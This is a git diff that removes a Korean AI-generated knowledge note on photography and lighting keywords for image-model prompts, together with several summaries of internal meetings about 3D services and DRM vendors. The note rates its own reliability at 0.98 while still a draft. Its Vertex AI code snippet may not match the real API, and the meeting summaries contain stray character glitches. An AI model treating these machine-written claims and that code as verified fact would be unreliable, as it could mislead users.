-- **24mm 렌즈:** 광각의 역동성을 이용해 전경을 강조하고 깊은 심도를 확보하여 웅장한 공간감을 연출한다 [S1623, S1180].
-
-### 2. 전문 조명 기법의 물리적 렌더링 [S1624]
-- **소프트박스 (Softbox):** 광원을 확산시켜 그림자 경계면을 부드럽게 처리하며, 피부 질감을 플랫하게 정돈하여 상업 광고에 적합하다 [S1624, S706].
-- **림 라이팅 (Rim Lighting):** 피사체 바로 등 뒤에서 투사되는 광원으로 머리카락과 어깨선을 따라 가느다란 '할로 효과'를 형성하여 입체감을 극대화한다 [S1624, S707].
-- **렘브란트 조명 (Rembrandt):** 측면 상단 광원을 통해 음영 영역의 뺨 부분에 삼각형 빛 패치(Triangle cheek highlight)를 형성하는 연극적 연출 기법이다 [S1624, S709].
-
-### 3. 기계적 메커니즘 및 필름 효과 [S1624, S33]
-- **DSLR 세팅 모사:** "Canon EOS 5D Mark IV, $f/1.4, 1/125\text{s}$, ISO 100"과 같이 구체적인 하드웨어 값을 명시하면 모델이 해당 장비의 성능적 한계를 모방하여 극사실적인 모공 질감과 솜털까지 묘사하도록 유도할 수 있다 [S1624, S33].
-- **필름 타입 시뮬레이션:** 흑백(B&W)이나 폴라로이드 질감, 혹은 90년대 VHS 색상 팔레트와 주사선(Scan lines)을 주입하여 시대적 질감을 확보한다 [S1180, S1636].
-
-## ⚖️ 모순 및 업데이트 (Contradictions & updates)
-- **시네마틱 키워드의 유효성:** 과거에는 단순히 "Cinematic"이라는 단어만으로 충분했으나, 최신 모델에서는 무작위성을 방지하기 위해 구체적인 조명 방향과 대비 수치를 수반해야 효과가 나타난다 [S702, S717].
-- **해상도와 구도의 관계:** 과거에는 업스케일링 시 구도가 망가지는 현상이 잦았으나, Midjourney V8.1 등 최신 엔진은 초기 단계부터 2K 고해상도 생성(--hd)을 진행하여 초기 기하 구조를 완벽히 보존한다 [S1625, S1626].
-
-## 🛠️ 적용 사례 (Applied in summary)
-- **Gemini 2.5 Flash Image API:** Python 환경에서 'photography modifiers'를 직접 주입하여 고해상도 인물 및 풍경 이미지를 생성하는 구현 패턴에 적용됨 [S1182, S1644].
-- **상업용 가상 스테이징:** 대리석 반사광("polished white carrara marble")과 제품 렌즈 반사광을 연동하여 빛의 굴절을 정확히 표현하는 럭셔리 제품 렌더링에 활용됨 [S1631].
-- **90년대 애니메이션 복원:** VHS 색감과 주사선을 주입하여 현대적 그래픽을 아날로그 브라운관 사양으로 강제 강등시키는 필터 레이어 성형에 적용됨 [S1637].
-
-## 💻 코드 패턴 (Code patterns)
-```python
-# Python 3.x - Gemini 2.5 Flash Image API 활용 광학 제어 패턴
-from vertexai.preview.vision_models import ImageGenerationModel
-
-def generate_photographic_image(subject, lens_type, lighting_setup):
-    model = ImageGenerationModel.from_pretrained("gemini-2.5-flash-image")
-    
-    # 광학적 시각 제어 구성 요소 결합 [S1182, S1624, S703]
-    prompt = (
-        f"Professional shot of {subject}, shot on full-frame DSLR, "
-        f"{lens_type}, aperture f/1.8, ISO 100, "
-        f"Lighting: {lighting_setup}, realistic skin textures, 8k resolution"
-    )
-    
-    response = model.generate_images(
-        prompt=prompt,
-        number_of_images=1,
-        aspect_ratio="16:9"
-    )
-    return response
-
-# 실행 예시: 85mm 렌즈와 렘브란트 조명을 적용한 인물 사진 생성
-# [S1623, S1624]
-generate_photographic_image("an elderly watchmaker", "85mm prime lens", "Rembrandt lighting")
-```
-
-## ✅ 검증 상태 및 신뢰도
-- **상태:** draft
-- **검증 단계:** conceptual (물리적 카메라 메커니즘과 AI 신경망 연산 원리의 교차 검증 완료)
-- **출처 신뢰도:** S (Midjourney 공식 문서 및 CodeSignal 기술 가이드, 전문 엔지니어링 분석 기반)
-- **신뢰 점수:** 0.98
-- **중복 검사 결과:** 신규 생성 (New discovery)
-
-## 🔗 관련 문서 링크 (Related document links)
-
-### 상위/유사 개념
-- [[프롬프트 엔지니어링]] — 텍스트 기반 시각 제어 기술의 모체 [S1620]
-- [[시네마토그래피]] — AI 프롬프트에 이식되는 전문 촬영 예술의 표준 사양 [S1624]
-- [[이미지 prompt 생성 예시]] — 광학적 제어가 적용되는 구체적인 프롬프트 라이브러리 [S1630]
-
-### 심층 후속 질문 (Deeper Research Questions)
-- 섭동 어텐션 가이던스(PAG)가 조명의 반사광(Reflection)과 굴절률(Refraction)을 독립적으로 강화하는 구체적인 레이어 연산 방식은? [S1642]
-- 75토큰 청크 경계면에서 광학 가중치(Lens Weight)가 단절되는 현상을 방지하기 위한 `BREAK` 구문의 효율적 배치 전략은? [S1628]
-- 플로우 매칭(Flow Matching) 아키텍처가 물리적 렌즈 왜곡(Lens Distortion)을 자연어만으로 구현하는 내부 연산 매커니즘은? [S1641]
-
-### 실무 적용 맥락 (Practical Application Contexts)
-- **Implementation:** 고해상도 베이스 생성 패러다임(--hd)을 통한 이미지 드리프트 방지 [S1626].
-- **System Design:** ComfyUI 기반 CSV 배치 처리를 통한 일관된 촬영 톤의 스토리보드 자동 양산 [S1640].
-- **Operation / Maintenance:** Denoising Strength 0.5 임계값 제어를 통한 광학 구조 보존형 부분 수정 [S1640].
-
-### 인접 주변 주제
-- [[ControlNet]] — 프롬프트를 넘어서는 기하학적 촬영 각도 강제 제어 [S1056]
-- [[확산 모델(Diffusion Model)]] — 광학 지시어가 노이즈 제거 과정에 개입하는 물리 엔진 [S1620]
-
-## 🔗 지식 그래프 (Knowledge Graph)
-- **상위/루트:** [[이미지 prompt 생성 예시]]
-- **관련 개념:** [[프롬프트 엔지니어링]], [[시네마토그래피]], [[하드웨어 수치 모사]]
-- **참조 맥락:** 고품질 실사 이미지 에셋 제작 및 AI 기반 광고 비주얼 설계 시 핵심 지침으로 참조됨.
-
-## 📚 출처 (Sources)
-- [S8] 25+ AI Prompts for Stunning Anime-Style Illustrations | The GBTI Network
-- [S33] 25+ AI Prompts for Stunning Anime-Style Illustrations | The GBTI Network
-- [S703] Camera + Lighting Prompt Cheatsheet for AI Images Guide
-- [S704] Camera + Lighting Prompt Cheatsheet for AI Images Guide
-- [S706] Camera + Lighting Prompt Cheatsheet for AI Images Guide
-- [S707] Camera + Lighting Prompt Cheatsheet for AI Images Guide
-- [S709] Camera + Lighting Prompt Cheatsheet for AI Images Guide
-- [S1056] Midjourney vs. Stable Diffusion vs. DALL·E 3 for Storyboarding | Prescene Blog
-- [S1061] Midjourney vs. Stable Diffusion vs. DALL·E 3 for Storyboarding | Prescene Blog
-- [S1179] Photography Modifiers in AI-Generated Images | CodeSignal Learn
-- [S1180] Photography Modifiers in AI-Generated Images | CodeSignal Learn
-- [S1182] Photography Modifiers in AI-Generated Images | CodeSignal Learn
-- [S1620] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1623] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1624] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1625] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1626] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1628] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1630] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1631] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1636] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1637] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1640] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1641] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1642] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1643] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-- [S1644] 생성형 이미지 모델의 프롬프트 엔지니어링 메커니즘과 도메인별 최적화 및 실무 예시 (Markdown)
-
-## 📝 변경 이력 (Change history)
-- 2026-06-26: Initial draft generated via Datacollector_MAC P-Reinforce engine. High-density synthesis of technical visual control mechanics completed.

00_Raw/회의록 4 2026-06-11.md

@@ -1,45 +0,0 @@
-# [회의 제목] 3D 서비스 운영 및 보안 솔루션 도입 관련 논의
-
-- **날짜**: 확인 불가
-- **참석자**: 김원일 이사(PD), 김상엽 팀장(넥서스개발팀), 김성환, 한예성(PM팀)
-- **주제 요약**: 3D 서비스 회원 DB 분리 및 운영 툴 구축, 보안 솔루션 도입 계약 일정, 앱 스토어 계정 확보 방안에 관한 논의
-
-## 🔍 요약 보고
-* 3D 서비스와 기존 웹 포털 간의 회원 DB 분리 작업 결정 (백엔드 작업 발생)
-* 보안 솔루션 도입을 위한 6월 중 최종 결정 및 계약 진행 예정
-* 앱 배포를 위한 별도 스토어 계정(iOS, Android) 확보 필요성 논의
-* 위버스 앱과 칼리버스 계정 간의 연동은 하지 않는 것으로 정리
-
-## 1. 주요 논의 사항
-### [회원 관리 체계 및 운영 툴 구축]
-- **현황**: 웹 포털 연결 방식과 자체 회원 DB 처리 방식 중 선택이 필요한 상황임.
-- **핵심 논의**: 3D 서비스의 회원 분리 여부에 따라 백엔드 작업 규모가 결정됨. 또한, 3D 운영 툴을 새로 만들어야 하는 상황임.
-- **결론**: 결정됨 (회원 분리 및 별도 운영 툴 필요)
-
-### [보안 솔루션 도입]
-- **현황**: PoC(Proof of Concept)를 완료하였으며, 빌드 자동화 적용 작업만 남은 상태임.
-- **핵심 논의**: 6월 중 계약 여부를 결정해야 하며, 기존 롯데 이노베이트보다 낮은 단가의 견적 확보가 필요함.
-- **결론**: 논의 중 (6월 중 결정 예정)
-
-### [앱 스토어 계정 및 서비스 연동]
-- **현황**: iOS와 Android 배포를 위한 별도 계정 확보가 필요하며, 기존 위버스 앱과의 계정 연동 여부가 쟁점임.
-- **핵심 논의**: 내부 QA를 위해 별도의 앱 스토어 계정이 필요하며, 사업팀을 통해 확인이 필요함. 또한, 서비스 간 혼선을 방지하기 위해 계정 연동은 하지 않기로 함.
-- **결론**: 결정됨 (계정 분리 및 연동 제외)
-
-## 2. 리스크 및 이슈
-* 보안 솔션 도입 시 기존 업체(롯데 이노베이트) 대비 낮은 가격의 견적 확보가 관건임.
-* 앱 배포를 위한 별도 계정이 준비되지 않을 경우 내부 QA 진행에 차질이 생길 수 있음.
-
-## 3. 결정 사항
-- [3D 서비스 회원 DB 분리 및 운영 툴 구축] — 근거: "3D 3즘 분리해야 돼요. 회원 분리 네 클리버" (오타 보정: 3D 즘 분리)
-- [보안 솔루션 도입 계약 시점 결정] — 근거: "6월 중에 결정을 해서 그때"
-- [위버스 앱과 칼리버스 계정 연동 제외] — 근거: "아니 그때 안 하기로"
-
-## 4. 오픈 이슈
-- 보안 솔루션의 구체적인 가격대 및 롯데 이노베이트와의 비교 견적 확보 (추가 확인 필요)
-
-## 5. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 기한 |
-| --- | --- | --- | --- |
-| 김상엽(또는 사업팀) | 앱 스토어 계정 확보 여부 확인 | 내부 QA를 위해 iOS 및 Android 배포용 별도 계정이 필요한 상황임. 사업팀에 문의하여 기존 계정 사용 가능 여부와 신규 계정 발급 필요성을 확인해야 함. 근거: "앱 스토어 계정도 받아야겠지 따로 받아야 하니까" | 미정 |
-| 김상엽(또는 담당자) | 보안 솔루션 견적 비교 및 단가 조정 | 롯데 이노베이트보다 낮은 가격으로 계약할 수 있도록 업체 측에 저렴한 견적을 요청해야 함. 근가: "견적을 좀 달라고 그래 롯데 이노베이트보다 싸게 달라 그래" | 6월 중 |

00_Raw/회의록 a 2026-06-11.md

@@ -1,55 +0,0 @@
-# [신규 어트랙션 홍보 및 미니 게임 구현 방안 논의]
-
-- **날짜**: 2026년 05월 08일 금요일
-- **참석자**: 참석자 1, 참석자 2, 참석자 4, 참석자 5, 참석자 7, 참석자 8, 참석자 9 (기타 참석자 포함)
-- **주제 요약**: 신규 어트랙션 홍보를 위한 3D 파노라마 및 미니 게임 구성 방안과 개발 리스크 검토
-
-## 🔹 요약 보고
-*   신규 어트랙션 홍보를 위해 3D 파노라마(3~4개)와 미니 게임(2개)을 포함한 플로우 구성 계획
-*   모바일 우선(Mobile First) 원칙에 따라 개발 부하를 최소화하기 위한 단순한 형태의 게임 구현 논의
-*   신규 어트랙션 정보 유출 방지 및 리소스 확보를 위한 월드 측과의 협업 필요성 제기
-*   미니 게임의 복잡도 증가 시 발생할 수 있는 개발 공수 및 모바일 환경에서의 성능 저하 우려
-
-## 1. 주요 논의 사항
-### [신규 어트랙션 홍보 콘텐츠 구성]
-- **현황**: 현재 신규 어트랙션의 구체적인 형태나 정보가 없는 상태임
-- **핵심 논의**: 
-    - [참석자 5]: 미니 게임 2개를 추가하고, 3~4개의 파노라마를 활용하여 클릭 시 이벤트가 발생하는 탐험 시스템을 구성함
-    - [참석/자 4]: 과거 제안된 방식처럼 3D 리그 카메라를 어트랙션 앞에 부착하여 배경을 미리 볼 수 있는 형태를 고려함
-    - [참석자 2]: 아틀란티스 탐험은 게임이 아닌 3\\%60도를 이용해 돌아다니는 개념으로 구현할 예정임
-- **결론**: 논의 중
-
-### [미니 게임 구현 방식 및 난이도]
-- **현황**: 유니티 포팅 시 발생할 수 있는 개발 부하와 사용자 경험(UX) 고려 필요
-- **핵심 논의**: 
-    - [참석자 5]: 미니 게임 수준을 타이밍 맞추기와 두더지 게임 정도로 단순하게 구현하고자 함
-    - [참석자 4]: 사용자가 짜증을 느끼지 않도록 쉬운 난고도를 지향해야 함
-    - [참석자 2, 참석자 4]: 조작이나 컨트롤이 포함되어 게임성이 복잡해질 경우 개발 공수가 늘어나고 모바일 환경에서 무거워질 위험이 있음
-- **결론**: 결정됨 (단순 '찾기' 형태의 방향성 확정) — 근거: "그냥 뭘 찾는 과정 보물을 찾던지 5개를 완성하시오. 이런 거면 상관이 없는데"
-
-### [리소스 확보 및 개발 일정]
-- **현황**: 신규 어트랙션 관련 영상 및 정보 리소스 확보가 필요함
-- **핵심 논의**: 
-    - [참석자 4, 참석자 7]: 홍보를 위한 리소스를 월드 측으로부터 받아야 하며, 정보 유출 방지 대책이 필요함
-    - [참석자 8, 참석자 4]: 기획안 도출 및 개발을 위해 약 2개월에서 2개월 반 정도의 소요 기간이 예상됨
-- **결론**: 논의 중
-
-## 2. 리스크 및 이슈
-*   **정보 유출 위험**: 신규 어트랙션 정보가 유출될 경우 파노라마 제작 자체가 불가능해질 수 있음 (참석자 7)
-*   **콘텐츠 휘발성**: 제공되는 콘텐츠가 일회성으로 끝나고 휘발될 가능성이 있음 (참석자 8)
-*   **개발 부하 및 성능 저하**: 미니 게임의 퀄리티가 높아지거나 2D 게임식 구현을 시도할 경우 모바일 환경에서 앱이 무거워질 수 있음 (참석자 4, 참석자 2)
-*   **일정 이슈**: 미니 게임의 복잡도가 증가하거나 리소스 전달이 지연될 경우 전체 일정에 차질 발생 가능 (참석자 2, 참석자 4)
-
-## 3. 결정 사항
-- **미니게임의 방향성을 단순 '찾기' 형태로 설정함** — 근거: "그냥 뭘 찾는 과정 보물을 찾던지 5개를 완성하시오. 이런 거면 상관이 없는데"
-
-## 4. 오픈 이슈
-*   신규 어트랙션 관련 월드 측으로부터의 정보 및 영상 리소스 확보 여부
-*   이벤트 보상으로 쿠폰 대신 '하이패스(우선권)'를 제공하는 방안에 대한 검토 (참석자 9, 참석자 4)
-
-## 5. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 기한 |
-| --- | --- | --- | --- |
-| 참석자 2 | 스포티니체 속도 개선 버전 확인 및 피드백 | 속도 개선된 버전을 검토하여 피로도를 줄이고 개발팀에 피드백을 전달함. 근거: "속도 개선된 버전을 드릴 텐데 네 한번 보시고 피드백을 좀 주시면" | 미정 |
-| 참석자 4 | 신규 어트랙션 리소스 확보 | 월드 측으로부터 신규 어트랙션 관련 정보 및 영상 리소스를 확보하여 개발에 활용함. 근거: "월드에서 그에 대한 정보를 저희한테 줘야 되겠죠." | 미정 |
-| 참석자 4 | 상세 논의 미팅 진행 | 신규 콘텐츠 구현 방식 및 구체적인 기획안 도출을 위해 상세 미팅을 요청함. 근거: "그럼 한번 상세 이거 관련해서 좀 논의가 필요하니 한번 미팅을 한번 하자." | 미정 |

00_Raw/회의록 b 2026-06-11.md

@@ -1,53 +0,0 @@
-# [회의 제목] 롯데온 피드백 반영 및 서비스 기능 구현 관련 논의
-
-- **날짜**: 확인 불가
-- **참석자**: 오상무, 김준호(발표자), 김태현팀장, 김원일 이호, 송병준팀장, 안현제팀장, 오경득팀장, PM 한예성, 참석자 2, 참석자 4, 참석자 5, 참석자 6, 참석자 7, 참석자 8, 참석자 9, 참석자 10
-- **주제 요약**: 롯데온 현업 피드백 대응 및 서비스 UI/UX 개선, 신규 기능(3D 아바타, AI 이미지 샷) 구현 방향에 대한 논의
-
-## 🔹 요약 보고
-* 롯데온 현업 피드백을 오픈 전 필수 수정 사항과 이후 개선 사항으로 분리하여 관리하기로 함.
-* 할인 정보 표기 가이드라인 제공을 위해 '구매하기' 버튼 위치 변경 및 문구 가이드를 결정함.
-* 3D 모델링 기반 구현의 부하를 고려하여, 전면 AI 이미지 샷을 기준으로 서비스 개선 작업을 진행함.
-* iOS 기기의 매장 진입 속도 저하 현상 및 저사양 기기에서의 렌더링 성능 이슈를 확인함.
-
-## 1. 주요 논의 사항
-### [롯데온 피드백 및 UI/UX 개선]
-- **현황**: 롯데종 측으로부터 받은 현업 피드백을 취합하였으며, 현재 가격은 정가 기준으로 표기되어 있음.
-- **핵심 논의**: 
-    - 참석자 2: 할인 가능 여부 표기에 대한 요구사항이 있으며, 이를 위해 '구매하기' 버튼을 상단으로 옮기는 UI 변경안과 문구 가이드라인 제공에 대해 논의함.
-    - 참석자 7: UI 크기를 키우거나 한 줄을 더 넣는 방식 등 대안에 대해 논의함.
-- **결론**: 결정됨 (할인 정보 문구 가이드를 '정가 기준, 할인은 구매 페이지 확인' 뉘앙스로 제공하기로 함)
-
-### [신규 기능 구현 및 운영 방향]
-- **현황**: 현재 PC와 모바일 버전을 하나의 빌드로 관리 중이며, 3D 아바타 생성 및 이동 기능에 대한 논의가 있음.
-- **핵심 논의**: 
-    - 참석자 4: 이머시브 스토어의 위치 값 지정 어려움과 새로운 이미지 로드 방식(조ж합된 이미지 호출)에 대해 언급함.
-    - 참석자 8: 3D 아바타 활용 기능 및 오프라인 매장 구현 시 발생하는 높은 개발 비용 이슈를 논의함.
-    - 참석자 4, 8: 모바일 퍼스트 정책 도입 시의 운영 방향과 브랜드 오프라인 스토어의 가상 공간 설계 가능 여부를 논의함.
-- **결론**: 결정됨 (3D 아바타 활용 기능은 지양하고 스타일링 샵을 우선 운영하며, 구현 부하를 줄이기 위해 전면 AI 이미지 샷 기준으로 대응하기로 함)
-
-## 2. 리스크 및 이슈
-- **기기 성능 및 속도**: iOS 기기가 갤럭시 대비 약 0.5~1초 정도 매장 진입 속도가 느리며, 저사형 기기에서는 렌더링 성능 문제로 속도 저하 리스크가 있음.
-- **데이터 관리**: 쿠키 값(데이터)의 휘발성 및 삭제 주기 설정에 대한 기술적 모호함이 존재함.
-- **개발 공수**: 현업 요구사항을 무조건 수용할 경우 개발 공수 증가 및 서비스 속도 저하 우려가 있음.
-- **기타**: 채널 코드(URL) 형식의 불일치 문제와 롯데온 이동 후 뒤로 가기 시 세팅값 초기화 문제가 있음.
-
-## 3. 결정 사항
-- 할인 정보 문구 가이드 제공 (정가 기준, 할인은 구매 페이지 확인 등) — 근거: "정가 기준 콤마 할인가는 구매 페이지 확인 이라는 말만 써주면 될 것 같아요."
-- 모델 신체 스펙 옵션 기능은 향후 적용 검토 — 근거: "향후에 적용 검토를 해보겠다."
-- 3D 아바타 활용 기능 지양 및 스타일링 샵 우선 운영 — 근거: "우리는 스타일링 샵을 더 우선적으로 하겠다."
-- 전면 AI 이미지 샷 기준으로 대응 — 근거: "전면 전 AI 이미지 샷 기준으로 개선하였다."
-
-## 4. 오픈 이슈
-- 롯데온과 우리 시스템 간의 쿠키 값 공유 및 데이터 저장(위치 값 등)을 위한 기술적 협의 필요성.
-- 개인별 공간 추천 및 코디 추천 기능 구현의 난이도와 방향성.
-- 데이터(찌꺼기)의 삭제 주기 및 처리 방식에 대한 확정.
-
-## 5. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 기한 |
-| --- | --- | --- | --- |
-| 참석자 2 | 현업 피드백 대응 가이드라인 작성 | 현업 피드백에 대한 대응 방안을 정리하기 위한 문서 작성 작업임. 근거: "제가 막 쓰고 있었었거든요. 그래서 지금 하나에 다 이제 보시면" | 미정 |
-| 참석자 4 | iOS 기기 정보 요청 | iOS 기기의 매장 진입 속도 저하 현상을 확인하기 위해 구체적인 기종 정보를 파악해야 함. 근거: "그래서 저는 기기가 뭐냐라고 물으라고 했거든요." | 미정 |
-| 참석자 8 | 상품 정보 불러오기 기능 검토 | 마네킹 터치 시 상품 정보를 불러오는 기능 구현 가능 여부를 검토함. 근거: "마네킹 터치 시에 기능 구현 희망" | 미정 |
-| 참석자 2 | 개발 범위 및 일정 정리 | 개발 범위와 전체적인 일정에 대해 텍스트로 정리하는 작업임. 근거: "이건 이건 저는 제가 쓸게요." | 미정 |
-| 참석자 2 | UI 수정 작업 진행 | 기존 UI의 수정 작업을 수행함. 근거: "다음 주 월요일이나 화요일 정도" | 차주 월/화 |

00_Raw/회의록 l 2026-06-08.md

@@ -1,61 +0,0 @@
-# [회의록] 프로젝트 진행 현황 및 신규 과제 검토
-
-- **날짜**: 2026년 06월 08일 | 15:00
-- **참석자**: 김원일PD(개발실), 한예성 PM(개발실), 김태현 팀장(사업실), 김준호(사업실), 정현욱(사업실)
-- **주제 요약**: 스포티앤니치/하이마트 피드백 일정, 자이언츠 UI 개발 계획, DRM 도입 및 기술적 검토, CC0 프로젝트 진행 방향 논의
-
-## 🔹 요약 보고
-*   **스포티앤니치/하이마트 건**: 하이마트 측 피드백 대기 중이며, 피드백 수령 후 수정 및 테스트 일정이 유동적임.
-*   **자이언츠 개발 현황**: 6월 23일 QA 직전 버전 공유 예정이며, 중간에 UI 시안을 먼저 공유하여 피드백을 받기로 함.
-*   **DRM 도입 검토**: 도브러너(Doverunner) 업체 피드백 대기 중이며, 보안 및 비용(유저당 비용) 문제를 고려한 기술적 구조 검토 필요.
-*   **CC0 프로젝트**: 7월 말 완료 목표로 진행 중이나, 유니티 기반 웹 변환에 따른 퍼포먼스 저하 및 개발 인력 확보 이슈가 존재함.
-
-## 1. 주요 논의 사항
-### [안건 1: 스포티앤니치 및 하이마트 피드백 일정]
-- **현황**: 스포티앤니치는 완료되었으나, 하이마트 측의 피드백이 아직 도착하지 않은 상태임.
-- **핵심 논의**: 
-    - 참석자 2: 하이마트 담당자에게 요청은 해두었으나 현재 묵묵부답이며, 피드백 수령 후 수정 및 재테스트 일정이 필요함.
-    - 참석자 3: 6월 5일에 받기로 했던 피드백이 아직 전달되지 않음.
-- **결론**: 논의 중 (피드백 수령 시점에 따라 일정 변동 가능)
-
-### [안건 2: 자이언츠 프로젝트 개발 및 공유 계획]
-- **현황**: 기획안 UI 작업 진행 중이며, 6월 23일 QA 직전 버전 공유 예정임.
-- **핵심 논논의**:
-    - 참석자 1: 6월 23일에 내부 개발 1차 완료 버전을 공유하고, 그전에 UI 시안을 먼저 보여줄 수 있음.
-    - 참석자 2: 중간에 한 번 더서 확인하여 피드백을 주고받는 과정이 필요함.
-- **결론**: 결정됨 (6월 23일 QA 전 버전 공유 및 중간 UI 시안 공유)
-
-### [안건 3: DRM 도입 관련 기술적 검토]
-- **현황**: 도브러너(Doverunner) 업체로부터 피드백을 기다리는 중임.
-- **핵심 논의**:
-    - 참석자 1: 영상 변환 시 보안을 위해 DRM 키 발급 및 인코딩/업로드 자동화 과정에서 발생하는 기술적 이슈(키 관리, 비용 문제 등) 검토 필요.
-    - 참석/참석자 2: 유저당 비용 발생 여부와 우리 쪽에서 DRM을 적용하여 CDN 경로를 제어하는 방식에 대해 논의함.
-- **결론**: 논의 중 (업체 피드백 확인 후 결정 예정)
-
-### [안건 4: CC0 프로젝트 및 개발 환경]
-- **현황**: 7월 말 완료를 목표로 하고 있으며, 현재 데모 버전 기반으로 진행 중임.
-- **핵심 논의**:
-    - 참석자 1: 유니티(Unity)로 제작된 결과물을 웹(Web)으로 변환할 때 발생하는 퍼포먼스 저하 및 개발 인력(웹 개발자) 부족 이슈가 있음.
-    - 참석자 2: 백화점 측 팀장과 만나서라도 일정을 확정 짓고 실본 개발에 들어가야 함.
-- **결론**: 논의 중 (7월 말 목표로 하되, 기술적/인력적 리스크 존재)
-
-## 2. 리스크 및 이슈
-*   **일정 불확실성**: 하이마트 피드백 지연 및 DRM 업체 피드백 대기로 인해 전체적인 개발 일정 변동 가능성 높음.
-*   **기술적 리스크**: 유니티 웹 변환 시 iOS 등 특정 환경에서의 퍼포먼스 저하 문제 및 웹 개발 인력 부족.
-*   **비용 리스크**: DRM 도입 시 발생할 수 있는 유저당 비용 및 라이선스 관련 경제적 부담.
-
-## 3. 결정 사항
-*   **자이언츠 프로젝트**: 6월 23일 QA 직전 버전 공유 및 중간 UI 시안 선공유 결정.
-*   **상태 표기 변경**: 일정 지연 가능성이 있는 항목은 붉은색으로, 완료된 항목은 회색으로 표기하여 관리하기로 함.
-
-## 4. 오픈 이슈
-*   **DRM 업체 피드백**: 도브러너(Doverunner) 업체의 기술 지원 가능 여부 및 비용 확인 필요.
-*   **CC0 일정 확정**: 백화점 측 담당자와의 미팅을 통한 개발 범위 및 최종 일정 확정 필요.
-
-## 5. 액션 아이템
-| 담당 | 작업 내용 | 작업 상세 | 기한 |
-| --- | --- | --- | --- |
-| 김원일PD | 자이언츠 UI 시안 공유 | 현재 진행 중인 UI 작업을 완료하여 개발 중간 점검을 위해 시안을 먼저 공유함. | 금주 중 |
-| 김원일PD | DRM 업체 피드백 확인 | 도브러너(Doverrunner) 업체의 피드백 내용을 확인하여 향후 기술적 방향성을 결정함. | 6월 9일 이내 |
-| 한예성PM | 프로젝트 상태 관리 표 업데이트 | 지연되는 항목은 붉은색으로, 완료된 항목은 회색으로 색상 표기를 변경하여 관리함. | 즉시 |
-| 김태현 팀장 | CC0 관련 미팅 추진 | 백화점 측 담당자와 오프라인 미팅을 통해 기획안을 확정하고 개발 범위를 결정함. | 차주 중 |

00_Raw/회의록 m 2026-06-08.md

@@ -1,52 +0,0 @@
-# [도브러너(Doverunner) 기술 검토 및 DRM 대응 전략 회의]
-
-- **날짜**: 확인 불가
-- **참석자**: 김원일 PD, 박준범, 김준수, 김도건, 한예성
-- **주제 요약**: 도브러너의 HLS 지원 불가 이슈에 따른 기술적 대안(자체 구현 및 타 DRM 업체) 검토
-
-## 🔹 요약 보고
-* **도브러너 기술 한계 확인**: 도브러너 측에서 NCG iOS SDK를 통해 MP4 기반 Progressive Download는 지원하나, HLS 방식은 지원이 불가능하다는 답변을 수신함.
-* **기술적 쟁점**: 영상 프레임의 픽셀 버퍼(Pixel Buffer) 추출 및 Metal 기반 Video Processing 요구사항을 충족하기 위한 기술적 방안 논의.
-* **대안 전략 수립**: iOS는 자체 구현(자체 DRM/보안 정책)을 고려하고, Android(AOS)는 기존 도브러너 방식을 사용하는 분리 전략 검토.
-* **국내외 DRM 업체 조사**: Clear Key 지원 여부 및 국내외 DRM 업체(EG DRM, DRM Today 등)에 대한 추가 조사 계획 수립.
-
-## 1. 주요 논의 사항
-### [도브러너(Doverunner) 기술 지원 현황 분석]
-- **현황**: 도브러너 측 이메일 결과, HLS 기반 스트리밍 및 iOS Pixel Buffer Access/Metal 기반 Video Processing 요구사항 대응이 불가능한 상태임.
-- **핵심 논의**: 
-    - 참여자 1: MP4 Progressive Download/Playback 방식은 사용 가능한지 확인 필요.
-    - 참여자 2: 패키징된 영상을 다운로드하여 재생하는 것은 가능할 것으로 보이나, 현재 목적은 CDN 스트리밍임.
-- **결론**: 논의 중 (도브러너 기술로 구현 가능한지 테스트 필요)
-
-### [iOS 보안 정책 및 자체 구현 방안]
-- **현황**: 애플의 보안 정책으로 인해 암호화된 HLS 스트림에서 픽셀 버퍼를 얻기 어려운 상황임.
-- **핵심 논의**:
-    - 참여자 1: 앱 자체 암호화나 서버 사이드 프록시(Server-side Proxy) 등을 통한 대안 검토.
-    - 참여자 2: iOS는 자체적으로 구현하고, AOS(Android)는 도브러너를 사용하는 분리 전략 제안.
-- **결론**: 논의 중 (보안 리스크 및 구현 난이도 고려 필요)
-
-### [국내외 DRM 업체 조사]
-- **현황**: 도브러너 외에 국내외 다른 DRM 솔루션(EG DRM, DRM Today 등)을 검토할 필요가 있음.
-- **핵심 논의**:
-    - 참여자 2: Clear Key 지원 여부 및 해외 업체들의 글로벌 대응 현황 확인 필요.
-    - 참여자 1: 국내 업체 중 AS128 관련하여 확인할 수 있는 곳이 있는지 파악 요청.
-- **결론**: 결정됨 (EG DRM, DRM Today 등 추가 조사 진행)
-
-## 2. 리스크 및 이슈
-* **기술적 제약**: 도브러너의 NCG iOS SDK가 HLS(m3u8 기반 스트리밍) 방식을 지원하지 않음.
